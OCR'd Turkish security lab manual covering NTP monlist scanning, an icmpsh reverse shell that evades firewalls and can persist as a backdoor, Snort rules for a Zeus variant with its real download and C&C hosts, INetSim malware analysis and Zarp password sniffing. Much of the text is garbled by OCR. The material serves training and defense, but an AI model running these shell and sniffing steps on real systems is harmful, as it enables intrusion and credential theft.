Ornek bir ¢ikti asagidaki gibi olacaktr.

[root@s-guard19 /usr/local/share/nmap/scripts]# nmap -sU -pU:123 -Pn -n --
script=ntp-monlist localhost

Starting Nmap 5.35DC1 ( http://nmap.org) at 2014-03-09 10:10 CDT
Nmap scan reportfor localhost (127.0.0.1)

Hostis up (0.00010s latency).

PORT STATE SERVICE

123 /udp open ntp

| ntp-monlist:

| Targetis synchronised with 129.250.35.251

| Alternative Target Interfaces:

| 10.32.83.4 50.22.202.133 50.22.202.163

| Private Servers (1)

| 10.0.77.54

| Public Servers (3)

| 38.229.71.1 50.116.38.157 129.250.35.251

| Other Associations (14)

|  127.0.0.1 (You?) seen 3 times. last tx was unicastv2 mode 7
| 84.24.85.156 seen 11 times. last tx was unicast v2 mode 7

|  94.242.255.62 seen 10 times. last tx was unicast v2 mode 7

|  199.255.209.211 seen 11 times. last tx was unicast v2 mode 7
|  141.0.23.147 seen 11 times. last tx was unicast v2 mode 7

|  130.193.170.56 seen 10 times. last tx was unicast vZ mode 7
| 178.235.0.18 seen 10 times. last tx was unicast v2 mode 7

| 84.248.95.88 seen 21 times. last tx was unicast v2 mode 7

| 86.141.107.15 seen 11 times. last tx was unicast v2 mode 7

| 76.76.4.146 seen 10 times. last tx was unicast vZ mode 7

|  31.220.4.151 seen 10 times. last tx was unicast v2 mode 7

|  106.219.29.214 seen 10 times. last tx was unicast v2 mode 7
|  83.98.143.20 seen 9 times. last tx was unicast v2 mode 7

|- 50.90.225.202 seen 4 times. last tx was unicast v2 mode 7

Nmap done: 1 IP address (1 hostup) scanned in 1.17 seconds
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Korunma Yontemleri

En temel ve 6nemli korunma yontemi NTP sunucusu a¢ik olmasi gerekmiyorsa servisin
kapatilmasi veya giivenlik duvari arkasinda ise portun Firewalldan kapatilmasidir.

NTP sunucu olarak hizmet verilmesi gerekiyorsa ilk adimdaki Oneriler ise
yaramayacaktir. Bunun icin NTP yapilandirma dosyasina gidip “disable monitor” satirinin
eklenmesi ve ntp servisinin yeniden baslatilmasi yeterli olacaktir.

[root@s-guard19 ~]# /etc/rc.d/ntpd restart

Stopping ntpd.

Starting ntpd.

[root@s-guard19 ~]# ntpdc -n -c monlist 50.22.202.163
***Server reports data not found

Uygulama No: BGA-UAG-73

Sizma Testlerinde ICMP Uzerinden Shell Alma

Amag: ICMP iizerinden shell alma yontemi ile Giivenlik cihazlarini atlatma

Sizma testlerinde siklikla glvenlik cihazlarma(firewall,ips,waf vs.) veya antiviris
uygulamalarina rastlanmaktadir. Neredeyse bu tarz engeller ile karsilasimayan sistem
yok denilebilir. Karsilasilan giivenlik cihazlarinin engellemelerini asmak icgin c¢esitli
yontemler kullanilabilinir. Genellikle tliinelleme yontemleri kullanilarak ilgili durumlar
asilmaktadir. DNS ve SSH tiinelleme en sik basvurulan tiinelleme yontemidir.

Bu yazimizda pek tercih edilmeyen fakat olduk¢a 6nemli olarak gordigim ICMP
protokolii tizerinden hedef sistemlerde nasil shell alinabilecegine degindim. Inbound ve
outgoing erisimlerde cesitli port ve servislerin kapal olabilecegi bir yerel agda ICMP
lizerinden shell alma oldukca énem arz etmektedir. Ilgili islem icin icmp protokoliiniin
acik olmasi ve hedefe ping atilabiliyor olmasi hedef sistem tizerinden shell almak i¢in
yeterli olacaktir. Kullanilan icmpsh uygulamasi asagidaki baglantidan indirilebilir.

Download:
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https://github.com/inquisb/icmpsh

Shell almak istedigimiz kurbana ait sistem asagidaki IP adresine sahiptir:

Administrator: Command Prompt

C:sicmpsh—masterripoconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection—specific DHNS Suffix
Link-local IPv6 Address . . .
IPv4 Address. . . . . -
Subnet Mask . . . . . .
Default Gateway . .

- . felBB: 7886 :edfB:eV12:Yh74:x11
- . 192.168.1.2

- . 255.255.255.8

- 192.168.1 .1

Shell almak isteyen saldirgan icmpsh'in bulundugu dizinde ./run.sh 1 ¢calistirthp kurbana

ait IP bilgisi girilir.

root@kali: ~/Downloads/icmpsh-master

File Edit View Search Terminal Help
:~/Downloads/icmpsh-master# ./run.sh

ICMP Shell Automation Script for

https://github.com/inquisb/icmpsh

What is the victims public IP address?

192.168.1.2}}

Shell almak istedigimiz IP adresini girdikten sonra asagidaki gibi kurban tarafinda bir

baglantinin gelmesi i¢cin dinleme modunda beklenilir.
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root@kali: ~/Downloads/icmpsh-master

File Edit View Search Terminal Help
https://github.com/inquisb/icmpsh

What is the victims public IP address?

192.168.1.2

[-]1 Run the following code on your victim system on the listender has started:

i i e e o T T e e e S
icmpsh.exe -t 192.168.1.3 -d 500 -b 30 -s 128

e T O o T o o

[-] Local ICMP Replies are currently enabled, I will disable these temporarily n
ow

[-]1 Launching Listener...,waiting for a inbound connection..

Erisimin saglanmak istenildigi (kurban) pc tizerinde asagidaki komut calistirilir.

[z+.| Administrator: Command Prompt

C:vicmpsh—-master>icmpsh.exe —t 192.168.1.3 —d 588 -b 38 —= 128_
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Boylece erisim saglanilmak istenilen sistem ile erisim saglamak isteyen (saldirgan)
arasinda icmp haberlesme kanalimiz kurulmus olur.

root@kali: ~/Downloads/icmpsh-master

File Edit View Search Terminal Help
192.168.1.2

[-1 Run the following code on your victim system on the listender has started:
B o e o o T T O O S o o o o

icmpsh.exe -t 192.168.1.3 -d 500 -b 30 -s 128

B e e o T T o o o

[-]1 Local ICMP Replies are currently enabled, I will disable these temporarily n
ow

[-]1 Launching Listener...,waiting for a inbound connection..

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\icmpsh-master>whoami
whoami
win-3msg8ndicds\administrator

C:\icmpsh-master>f] 7
llgili durum regedit dosyasina baz kayitlar eklenerek kalici bir backdoor olarakta
kullanilabilir. Saldirganlar bu methodu kendi bakis a¢ilarina gore kullanarak ileri seviye
saldirilarda gergeklestirebilirler.
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Uygulama No: BGA-UAG-74

Snort Kullanarak Zararli Yazilim Tespiti

Amag: Snortile zararh yazilmlarin tespit edilmesi

Zararl yazihmlar1 ve aktivitelerini ag seviyesinde tespit edebilmek kurumlarin bilgi
glivenligi ihlallerine karsiatmasi gereken 6 nemli adimlardan biridir. Mevcut IDS/IPS'leri
yeni tehtitlere karsi giincel tutabilmek veya 6zel senaryolar i¢in uygun tanimlamalari
yapabilmek bu konuda etkin bir savunma icin gereklidir.
Yazida, bir zararh yazilmin ag trafiginin taninmasini saglayacak kendine has 6zelliklerini
tespit edip bu o6zellikleri yakalayacak Snort kurallar1 yazilarak, érnek yontemler ve
izlenebilecek yollar agiklanmistir.
Ornek senaryoda HTTP ve SMTP trafigi olusturan bir ¢esit Zeus tiirevi bir sanal makineye
bulastirilip bu makinenin internete ¢iktig1 ag arayiizii Wiresharkve Snortile dinlenir. Elde
edilen ag verisine gore Snortkurallar1 yazilarak zararl tespit edilmeye ¢ahsilir.

e Zeus tirevinin SHA256 degerti:

689ef03339c961f6c63b77f902de1bb022f83¢c2c89a1f63999edf720cfa2081b

Ornekte kullanilan lab yapisi su sekildedir. Windows XP internete NAT ile ¢ikacak sekilde
ayarlanmis tek ag araytizii bulunan bir sanal makinede kuruludur. Snort'un kurulu oldugu
SecurityOnion dagitimi ise, bir tanesi Windows XP ile ayni1 sanal aga bagh iki ag araytizi
bulunan baska bir sanal makineye kurulmustur. Snort, ortak araytizii dinleyecek sekilde
ayarlanmistir. Diger arayiiz ise bu makineye yonetim amach erisim icin ayrilmistir.

Ornek zararhnin ag verisi incelendiginde sirasiyla su islemleri yaptig1 goriiliiyor. (Farkh
calistirmalarda sonuglar degisiklik gosterebilir)

e “http://mediafire.com/?ucc9c99b401b94i” adresinden b.exe isimli bir dosya
indiriyor.

e 5srv5050.co (212.227.141.241) adresininin 5050 numaral portuna IRC baglantisi
kurup bir takim kanallara baglaniyor.

e ‘“http://mediafire.com/?kf2lhk53bpfem63” adresinden go.exe isimli baska bir
dosya indiriyor.

e “http://karmachemie.de/rec.exe” (213.165.86.175) adresinden rec.exe isimli bir
dosya daha indiriyor.

e “http://jasperrussell.com/324.txt” (74.208.185.227) adresinden 324.txt isimli bir

dosya indiriyor. Bu dosya “yahoo.com” uzantih 28000 farkl mail adresi igeriyor.
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root@hb: ~/Desktop

File Edit View Search Terminal Help
ail mails.txt
o cCom

cat mails.txt | unig | wc -1

:~/Desktop# |

e Sonolaraklistedeki mail adreslerine 6rnekteki gibi bir mail génderiyor.

From: Edward09@4251.com

To: sadiabuttar @yahoo.com

Subject: Pharmacy Express

Date: Sun, 27 Jan 2013 23:39:52 -0800

Mime-Version: 1.0

Content-Type: text/html; charset=1SO-8859-1
Content-Transfer-Encoding: quoted-printable
Message-ID: <88397533550593.79168.qmail@ hordzd>
http://doctorcrib.com

Zararhnin calisma aninda aktif olmayan farkh 6zellikleri de vardir fakat buradaki amag
zararliyl1 tamamen analiz etmek degil 6rnek ag verisini kullanarak bu aktiviteleri
tanimlayacak kurallar yazmaktir.

IIk adimda eldeki veriler kullanilarak sadece zararhnin kullandig: IP adresleri ve/veya
alanadlari belirlenip, bunlar1 tanimlayacak kurallar yazilir. Veriler degerlendirildiginde,
mediafire veya yahoo’ya ait adresler i¢in kurallar yazmanin makul olmayacag1 ancak
srv5050.co, karmachemie.de ve jasperrussell.com adresleri icin yazilabilecegi
gorilmektedir. Bu adresler dogrudan zararlyiyayanlar tarafindan alinmis veya sonradan
ele gecirilmis sistemler olabilirler. Her iki durumda da kullanicilar igin tehlike arz
etmektedirler. Ornegin srv5050.co adresine yapilacak DNS sorgularini yakalayacak bir
kural su sekilde yazilabilir.
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alert udp any any -> any 53 (msg:"Zeus variant DNS query"; content:"srv5050"; priority:1;
sid:9000554; rev:1;)

Dogrudan IP adresine yapilan baglantilar1 yakalamak icinse soyle bir kural kullanilabilir.

alert tcp $HOME_NET any -> 212.227.141.241 any (msg:"Zeus variant C&C IP";
flow:to_server; priority:1; sid:9000555; rev:1;)

Tabii ag yapisina gore bu kurallar1 iyilestirmek mtimkiin.

Ilk kural ¢calistiginda elde edilen Snorby goriintiisii:

Saorby - Listing besucns - Chromium

B Grocty - Limang Seiare =

i e locabioen

* Adchs M h Flye o nsguned fo daplay o me sementi on o page. | Instal pug-n..

Sadd A Mole T This: Evasl

Ikinci adimda s6z konusu zararhy1 dogrudan dosya indirme asamasinda tespit etmek igin
calistirilabilir dosyadan elde edilen bir imza kullanilabilir. Zararhnin farkh tiirevlerinin
ayni imzay1 tasimama ihtimali yiiksek olmasindan dolay: tek basina ¢ok etkili bir ydntem
olmasa da bu yontem digerlerinin yaninda kullanilabilir.

Oncelikle calistirilabilir dosyaya bir imza tanimlanir. Basitce su adimlar izlenir.

strings zararli.exe > strings.txt komutu ile zararhnin icerdigi ve okunabilir olan
karakter dizileri elde edilip kendine has olabilecek degerler aranir. Ornek
zararhida 440. satirdaki “signing of the_Treaty_of Karlowitz.exe” degeri
kullanilabilir.

Daha sonra Snort'un ikili dosyanin igeriginde dogrudan Kkarsilastirma
yapabilmesi i¢in gerekli ikili degerler (onaltihik tabanda ifade edilebilir) elde
edilmelidir. Bununicin hexdump -C zararli.exe > hexdump.txt komutu verilerek
dosyanin hex/ASCII dokiimii elde edilir. ASCII boéliimden belirlenen string
bulunup hex karsihigi belirlenir. Ornekte
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Baslangi¢ adresi: 0x0000925A
Deger: 73 69 67 6e 69 6e 67 5f6f 66 5f 74 68 65 5f 54 72 65 61 74 79 5f 6f 66
5t 4b 61 72 6c 6f 77 69 74 7a 2e 65 78 65
seklindedir.

e Son olarak asagidaki gibi bir kural yazilarak imzay1 iceren paketlerde uyarn

verilmesi saglanir.
e alert tcp any any -> $HOME_NET any (msg:"Zeus variant binary";

flow:from_server,established; content:"[73 69 67 6e 69 6e 67 5f 6f 66 5f 74 68 65
554 72 65 61 74 79 79 5f 6f 66 5f 4b 61 72 6¢ 6f 77 69 74 7a 2e 65 78 65]";
sid:9000556; rev:1;)

e Kurali daha da 6zellistirmek i¢in “offset” degeri eklenebilir.

128 Am £

Vew Al Semzmem Pufors Vam Omifrasor Pxctet Capus Ostern Cowt Ceprt Opiom Poveatie

L o Tl o ™m Fyerr e

Son adimda zararlinin ag hareketleri incelenerek 6zel bir desen olusturulmaya ¢aligilir.
Ornek zaralinin spam gonderimleri incelendiginde génderici adreslerinin belli bir
formatta olusturuldugu fark edilmistir. Ornegin,

MAIL FROM:<Donald86@1008.com >

MAIL FROM:<Kevin08@3184.com>

MAIL FROM:<Michael36@6998.com>

seklindeki gonderici adresleri (isim)(2rakam)@(4rakam).com desenine uymaktadir.
Desen belirlendikten sonra bu desene uygun bir Perl diizenli ifadesi yazilir. Bu desen
“/<[a-z]+[0-9]{2}@[0-9]{4}\.com>/i" diizenli ifadesi ile karsilanabilir. Yazilan diizenli

ifadeleri online olarak test etmek icin “www.regexe.com” adresi oldukg¢a kullanighdir.

SMTP tlzerinden mail gonderimlerinde belirlenen deseni arayacak Snort kural temel
olarak asagidaki gibidir.
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alert tcp $HOME_NET any -> $EXTERNAL_NET 25 (msg:"A Zeus variant is sending spam";
flow:to_server,established; pcre:"/<[a-z]+[0-9]{2}@[0-9]{4}\.com>/i"; priority:1; sid:900%

B Srerty  Lnsog Semrne W

% peer / Tocahost

T Adabe Fash Payw B renuitind 0o Stsbey 5ome wkrnanits on 1his page. | bestal phag
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Uygulama No: BGA-UAG-75

Zararh Yazilim Trafiginin Sahte Servislerle Yonetimi

Amag: Sahte servisler kullanarak zararl yazilm trafigini analiz etme

Analiz asamasinda lab ortaminda ¢alistirllan zararh yazilimlarin ihtiya¢ duyduklan
servislere baglanti kurmalari, gerek program akisinda basarili baglantidan sonra ¢alisan
bélimlerin dinamik olarak analiz edilebilmesi gerekse analiz edilecek ag trafiginin
olusturulmasi i¢in gereklidir. Bu gibi durumlarda zararliy1 analistin kontroliindeki sahte
servislere yonlendirmek siklikla kullanilan etkili bir yontemdir.

Yaz1 boyunca bu yontem anlatiirken sanal bir agda c¢alisan iki adet sanal makine
kullanilmistir. Bunlardan birinde Windows XP, digerinde ise REMnux kuruludur.
WinXP'nin IP adresi 10.10.10.130, REMnux’iin ise 10.10.10.128 olarak atanmistir. Bu
ornek lab ortami olup bir¢ok farkli kombinasyon miimkiindiir. Analiz i¢in uzak bir FTP
sunucusuna baglanmaya c¢alisan bir zararh secilmistir. Kullanilan araclar ve zararlhnin
SHA256 6zeti su sekildedir.
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Kullanilan Araglar:

e FTP Kullanan Zararh Ornegi
(sha256:d7ac4d6442a3448fb147fd70b5e98{8e244b5e129f8bbd5f085b04cf0
1158c03)

e ApateDNS

e Inetsim, Fakenet

e Wireshark

Zararhnin gercekte baglanti kurmaya ¢alistigi C&C veya benzer islem goren uzak sistem
yerine sahte servislerin c¢alistifi makineye baglanti kurmasini saglamak igin DNS
lizerinden basit birkag yontem kullanilabilir. Bunlardan ilki
“SistemDizini:\Windows\System32\Drivers\etc\hosts” dosyasina zararlinin baglant
kurmak istedigi alanadini ve sahte servislerin ¢alistii makinenin IP’sini eslestiren bir
satir eklenebilir (10.10.10.128 ftp.zararlicom). Bunun yerine yapilan biitiin DNS
sorgularina sahte servislerin calistigi makinenin IP addresini igeren bir cevap déndiiren
ApateDNS aracini kullanmak bazi durumlarda daha pratik olabilir. Bunun icin ApateDNS
araci ¢ahstiritlip “DNS Reply IP” boélimiine yonlendirilmek istenilen sistemin IP adresi
girilip “Start Server” tusuna basilir. Sistemde birden fazla ag arayiizii varsa “Selected
Interface” bolimunden ilgili arayiiz secilmelidir.

Baska bir ihtimal de zararlimin bir alanadi yerine dogrudan uzak siteme IP adresi ile
erismesidir. DNS sorgularina sahte cevap gonderme yontemi bu durumda ise
yaramayacaktir. Boyle bir durumda iptables veya baska bir NAT destegi bulunan yazilim
araciligiyla analiz makinesinden (WinXP) giden paketlerin hedef IP adresi veya belli bir
[P ‘ye giden paketlerin hedef IP adresi degistirilerek baglanti sahte servislerin bulundugu
(REMnux) sisteme yonlendirilebilir. Alternatif olarak zararlinin dinamik analizi sirasinda
hedef adresi hafizada degistirerek dogrudan istenilen adrese baglanmasi da saglanabilir.

Sahte servislerin calisacag1 sistemde(REMnux) konsoldan “inetsim” komutu girilerek
servisler baslatilir. Servislerin tam listesi ve dinledikleri portlar bu asamada konsolda
goriilebilir. Daha sonra Wireshark root olarak c¢alistirthp “Capture->Interfaces”
menisilinden ilgili arayiiz(6rnekte eth0) secilerek dinlenmeye baslanir. Alternatif olarak
Windows iizerinde ¢alisan Fakenet araci kullanilarak, ikinci bir sisteme ihtiya¢ kalmadan,
servisler analiz makinesinde ¢alistirilabilir.

Zararll yazilm cahstirilip ApateDNS ekranindan yaptigi DNS sorgular izlenir. Ornek
zararlimin “darlstop123.p.ht” ve “whatismyip.akamai.com” adresleri icin DNS istekleri
gonderdigi goriiliyor.
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Bu asamada istege gore REMnux’e geri doniilerek Wireshark’'in yakalamis oldugu ag

trafigi incelenebilir veya bir debugger araciligiyla zararlinin basaril baglanti durumunda
gerceklestirdigi aktiviteler dinamik olarak analiz edilebilir. Ornekteki zararh igin
Wireshark ekrania bakildiginda zararlinin FTP ve HTTP servislerine baglanmaya
calistigi goriilmektedir. HTTP tzerinden GET istegi ile anasayfayr almaya c¢alistig
goriilmektedir. “whatismyip.akamai.com” adresine baglanildiginda bunu aslinda sistemin
internete cikis [P’sini 6grenmek i¢in yaptig1 anlasiliyor.

1 Captisring fram athd  [Wireshark 1.8.2 ]
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8 X TEpRA0 14, 1, 1, 1300 LL# 60 10d6 = ¥l [40K] Semsl Acks]l WansBeZda0 Lensd

19 3. HEnE 14,18, 18, 1% FTR BE Raspanss! 20 INGTEIR FTP Service ready.

11 2_raness 19.19. 19, 1'% Frp Ml Raqueast: USER uasuoed sy

12 2_raroas 10.10.10. 128 b= 52 21 = 1028 [&K] Seg=33 Ack=18 Wif=l3E00 Lan=0

13 2. 3000 19,19, 10, 120 FTF 0B Paapznea: 331 Plaais speciiy tha pasaword.

14 3_301%4 1d, 14, 14, 150 FTR 6T Raquami: PASS DALOTS

1% 2. 60 14, 14, 10, 138 TR 7T Rampanes: 330 Logim waccsaefull.

16 2481120 19, 18, 16, 130 TP 60 1046 = 71 [80H] Seg=3] sck=s0 Win=B64151 Len=0

17 2. 7G04 19, 19, 19, 13 Ly 62 197 = 20 [Gri] Seacl WircfaZad Lensd MISslafd SACH PERM=] L

* Frome 71 62 byoes on wire (486 bitsl, &2 bytes capiured (456 bits)
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FTP baglantisinin detaylarim1 6grenmek icin Wireshark'ta baglantiya dahil olan
paketlerden (satirlardan) herhangi birine sag tiklayip “Follow TCP Stream” secilerek
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baglant1 boyunca yapilan veri alisverisi toplu halde goriilebilir. Ornek baglantinin icerigi
su sekildedir:

220 INetSim FTP Service ready.
USER u489099192

331 Please specify the password.
PASS 031025

230 Login successful

TYPE

200 Switching to BINARY mode.
PASV

500 Unknown command.

TYPEI

200 Switching to BINARY mode.
PORT 10,10,10,130,19,137

200 PORT command successful.
STOR NO_PWDS_report_06-02-2014 22-23-47-BB9E89D3316C6D89ESBA3AAF96AA0063-
I1IIA.bin

150 Ok to send data.

226 File receive OK.

Icerikten de acik¢a goriildiigii iizere zararl, FTP sunucusuna baglant1 kurarken kullanici
adivesifre olarak“u489099192 | 031025” degerlerinikullaniyor. Daha sonra dabir dosya
yuklemeye calisiyor.

Elde edilen bu tarz bilgiler zararhy: etkisizlestirmek i¢in kullanilabilecek olsa da bu
bilgileri kullanmak icin baz1 yasal sireclerin isletilmesi gerekebilir. Zararhyi
etkisizlestirmekten kasit bulastif1 sistemlerden silmek yerine komuta merkezini devre
dis1 birakarakbulastigl sistemlerden bilgi sizdirmasini veya komuta merkezinden kontrol
edilmesini engellemektir. Sonucta elde edilen bilgileri dogrulamak adina FTP sunucusuna
baglanti kurulmus ama baska bir islem yapilmamigtir.

raangltb -
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Uygulama No: BGA-UAG-76

Siber Saldinlara Karsi Aktif Defans Uygulama

Amag: Siber saldirillara karsi her zaman hazir olmak ve aktif olarak defans
uygulayabilmek

Internet ortamindan elde edilen g¢esitli araclarla sistemelere siber saldir1 gerceklestirmek
glinlimiiz diinyasinda oldukea kolaylasmistir. Giivenlik uzmanlari koruduklarikurumlara
yonelik gerceklestirilen saldirillara karsi yeni yeni yontemler deneyerek koruma
seviyesini en iyi diizeye tasimaya ¢alismaktadir. Son zamanlarda popiiler olan koruma
yontemlerinden biri de Aktif Defans'tir. Aktif Defans saldirganlarin otomotize edilmis
programlar yada scriptler aracilig ile yaptiklar: siber saldirilara karsi, saldirgana ciddi
efor ve zaman kayb1 yaratacak bir korunma tiirtidiir.

Bir bilisim sistemine yonelik gerceklestirilecek saldirillarda genellikle ilk adim port
tarama ve ag kesfi olmaktadir. Aktif defans uygulayarak saldirganin hedef sistemde
acik/kapal olan portlari1bulmasi ve bu portlarda ¢alisan uygulamalari ortaya ¢ikartmasi
zorlastirillabilir. Bu yazida portspoof uygulamasi kullanilarak bir sisteme yonelik
gerceklestirilecek porttarama isleminin ise yaramaz hale getirilmesi anlatilmaktadir.
Not: Pratik olarak kurumsal aglarda kullanilmasini 6nermiyoruz.

Genel Ozellikleri

- rootyetkileri gerektirmeksizin ¢alisir

- iptables kurallari ile kolayca 6zellestirilebilir.

- 8.000 tizeri servis icin imza destegi bulunuyor.

- Saldirganlarin kullandiklar1 araglar ve yazilimlara karsi 'Aktif saldirilarina karsi

korunma' icin yardimci olur.
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Kurulumu

# wget https://github.com/drk1wi/portspoof/archive/master.zip
# unzip master.zip

# cd portspoof-master/

# ./configure

# make

# make install

Hizmet verdiginiz portlar disindaki tiim trafigi iptables ile portspoof uygulamasina
yonlendirmeniz yeterli olucaktir.
#iptables-restore < system_files/iptables-config

Firewall Kurallari

# iptables -LChain INPUT (policy ACCEPT)
target protopt source destination
Chain FORWARD (policy ACCEPT)

target protopt source destination
ACCEPT all -- anywhere anywhere
Chain OUTPUT (policy ACCEPT)

target protopt source destination

# iptables -L -t natChain PREROUTING (policy ACCEPT)

target protopt source destination
REDIRECT tcp -- anywhere anywhere tcp dpts:tcpmux:ftp redir ports 4444
REDIRECT tcp -- anywhere anywhere tcp dpts:telnet:65535 redir ports 4444

Chain INPUT (policy ACCEPT)

target protopt source destination
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Chain OUTPUT (policy ACCEPT)
target protopt source destination
Chain POSTROUTING (policy ACCEPT)

target protopt source destination

Genel Kullanimi
Parametrelerin gériiniimii ve yardim meniisii

# portspoof -h

Usage: portspoof [OPTION]...

Portspoof - service emulator / frontend exploitation framework.
-1 Ip : Bind to a particular IP address

-p port: Bind to a particular PORT number

-s file_path : Portspoof service signature regex. file

-c file_path : Portspoof configuration file

-1 file_path : Log port scanning alerts to a file

-f file_path : FUZZER_MODE - fuzzing payload file list

-n file_path : FUZZER_MODE - wrapping signatures file list
-1 FUZZER MODE - generate fuzzing payloads internally
-2 switch to simple reply mode (doesn't work for Nmap)!
-D run as daemon process

-d disable syslog

-v be verbose

-h display this help and exit

Portspoof configurasyon dosyasi
Jusr/local/etc/portspoof.conf
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Acik portlar icin yanit verecegi servislere ait imzalarin bulundugu dosya
/Jusr/local/etc/portspoof _signatures

Portspoof'u servis emulatorii olarak ¢calistirmak

# cd /usr/local/etc/
# portspoof -c portspoof.conf -s portspoof_signatures -D
-> Using user defined configuration file portspoof.conf

-> Using user defined signature file portspoof signatures

Test galigmasi

portspoof uygulamasindan dnce hedef sistemi taradiginizda

#nmap -sV 85.95.238.172 -v

Starting Nmap 6.40 ( http://nmap.org ) at 2013-10-20 04:18 EEST

NSE: Loaded 23 scripts for scanning.

Initiating ARP Ping Scan at 04:18

Scanning 85.95.238.172 [1 port]

Completed ARP Ping Scan at 04:18, 0.03s elapsed (1 total hosts)

Initiating Parallel DNS resolution of 1 host. at 04:18

Completed Parallel DNS resolution of 1 host. at 04:18, 0.29s elapsed

Initiating SYN Stealth Scan at 04:18

Scanning 172-238-95-85-datacenter-services.ixirtelekom.com.tr ~ (85.95.238.172)  [1000
ports]

Discovered open port 22/tcp on 85.95.238.172

Completed SYN Stealth Scan at 04:18, 0.13s elapsed (1000 total ports)

Initiating Service scan at 04:18

Scanning 1 service on 172-238-95-85-datacenter-services.ixirtelekom.com.tr

(85.95.238.172)
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Completed Service scan at 04:18, 0.01s elapsed (1 service on 1 host)
NSE: Script scanning 85.95.238.172.

Nmap scan report  for  172-238-95-85-datacenter-services.ixirtelekom.com.tr
(85.95.238.172)

Host is up (0.000097s latency).

Not shown: 999 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh  OpenSSH 6.0p1 Debian 4 (protocol 2.0)

MAC Address: 00:0C:29:40:2B:7A (VMware)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at http://nmap.org/submit/

Nmap done: 1 IP address (1 host up) scanned in 0.65 seconds

Raw packets sent: 1001 (44.028KB) | Revd: 1001 (40.032KB)

Portspoof uygulamasi ¢alisikdan sonra tarama yaptiginizda tiim portlarin a¢ik ve tanimh
portlaricin aktif servislerin oldugunu gorebilirsiniz (nmap ile default taramada 1000 port
taraniyor!)

Ik tarama 1000 port kontrolii igin 0.65 saniye siirmiisken, portspoof uygulamasi
calistikdan sonrasaldirganin porttaramasi yaklasik olarak 552.74 saniye (9 dakika lizeri)
stirmiistiir. Buda saldirgan icin ciddi zaman ve efor kaybidir.

Ornek bir sonu¢ gormek isterseniz, favori port tarama yaziliminz ile portspooforg

adresini tarayabilirsiniz: nmap -sV -v portspoof.org gibi gibi
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Uygulama No: BGA-UAG-77

Zarp Kullanarak TCP/IP Protokol Zafiyetlerinin istismar

Amacg:Zarp araciile TCP/IP Protokoliine ait zafiyetlerin istismar edilmesi

Zarp uygulamasi python dili ile gelistirilmis, agik kaynak kodlu, uzaktan servis disi
birakma(denial of service) saldirilari gerceklestirmede ve yerel aglarda gesitli saldirilarin
gerceklestirilmesinde kullanilabilecek bir network saldir1 aracidir.

Zarp sistem agikliklarinin istismarindan ziyade network protokollerinin zaafiyetlerini
istismar ederek saldirilarini gerceklestirmektedir.

Uygulama sahip oldugu asagidaki modiiller ile cesitli saldirilar gerceklestirebilmektedir.

[1] Poisoners [5] Parameter

[2] DoS Attacks [6] Services

[3] Sniffers [7] Attacks

[4] Scanners [8] Sessions
llgili modiillerden Poisoners modiilii ile; ARP spoofing, DNS spoofing, DHCP spoofing,
NBNS poison, LLMNR spoofer ve ICMP redirection gibi saldirilar:
gerceklestirilebilmektedir. Ozellikle yerel aglarda kullanilan temel protokol olan ARP
protokoliiniin yapisal acikliklarini istismar ederek gerceklestirdigi ARP poisoning ile
yerel agda istenilen kullanicilara ait trafigi yakalayabilir. Bu sekilde zarp ile lizerimizden
gecirdigimiz local trafige hakim oldugumuz i¢in cesitli hassas dosyalari ele gecirilebilmis
duruma gelmis oluruz. DNS spoofing saldirisiicin déncelikle ARP spoofing yapilmis olmasi
gerekmektedir. DHCP spoofing islemi ile yerel agdaki DHCP OFFER ve DHCP ACK
mesajlarim1 dinleyen sahte bir DHCP server olusturulur. Ilgili mesajlar1 dinleyerek
DHCP'den IP isteyen kullanicilara bu IP adresleri sahte DHCP sunucu tizerinden kiralanir.
DOS Attacks modiili ile gesitli servis dis1 birakma saldirilari(TCP SYN, Land DOS, IPv6

Neighbor Discovery Protocol RA DoS, Nestea DOS, SMB DOS v.s) gerceklestirilebilir.
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Sniffers modili ile, poisoning islemi sonrasinda hassas verilerin ele gecirilmesinde
kullanilacak c¢esitli methodlar bulunmaktadir. HTTP, Parola, Veritabani sniffing gibi
modiilleri ile ¢esitli hassas bilgiler ele gecirilebilir. Packet modifier modiilii ile yakalanan

paketler istenildigi gibi degistirilebilir.

Scanners modiilii ile cesitli yerel ag taramalari gerceklestirilebilmektedir. Ornegin verilen

bir subnette acik portve servis taramasi yaptirilabilmektedir.

llgili aracin kurulumu igin git komutu ile uygulamaya ait dosyalar sistemimize kopyalanir;

root@pentest:~/celal# git clone git://github.com/hatRiot/zarp.git zarp/
Cloning into 'zarp'..

remote: Counting objects: 1699, done.

remote: Compressing objects: 100% (869/869), done.

remote: Total 1699 (delta 814), reused 1692 (delta 807)

Receiving objects: 100% (1699/1699), 748.44 KiB | 388 KiB/s, done.
Resolving deltas: 100% (814/814), done.

root@pentest:~/celal# Is

Ardindan dosyalarin kopyalandigi zarp dizininde uygulamanin giincellemesi i¢in

asagidaki komut kullanilabilir;

root@pentest:~/celal/zarp# ./zarp.py --update
[!] Loaded 33 modules.

)/ NC NS

/11N\) 1)/
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CCONANA/CNO)
[Version 0.1.3]

['] Updating Zarp...

[!] Zarp already up to date.

Ornek olarak Sniffers alt modiillerinden Password Sniffer modiiliinii kullanarak yerel
agdayapilan bir FTP baglantisinin parolasinielde etmeyi gosterelim. Bununicin asagidaki

yol takip edilebilir.

Uygulama asagidaki komutla baslatirlir. Ekrana kullanilabilecek tiim modiillere ait

kategorilistesi gelecektir.

root@pentest:~/celal/zarp# ./zarp.py

[!] Loaded 33 modules.

)/ NCN\CT
[-/1\) [)_/
(I ANAN] (A W |
[Version 0.1.3]
[1] Poisoners [5] Parameter

[2] DoS Attacks [6] Services

[3] Sniffers [7] Attacks
[4] Scanners [8] Sessions
0) Back
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Yukaridaki ekrandan 3 numaral Sniffers kategorisine giriyoruz.;
>3
[1] HTTP Sniffer
[2] Password Sniffer
[3] Traffic Sniffer
[4] Database Sniffer

[5] Packet Modifier

0) Back
Ardindan sniff edilecek interface segilir, 6n tanimh olarak listedeki ilk interface se¢ilmis
olur. Bu interface dinlenecek ise enter ile gegilebilir ardidan dogrulugunu onaylamak i¢in
y ile bir sonraki adima gegcilebilir. Ardindan asagidaki ekrandan 0 ile ana ekrana gegilir.
>2
[!'] Enter address to listen on [5.5.5.4]:
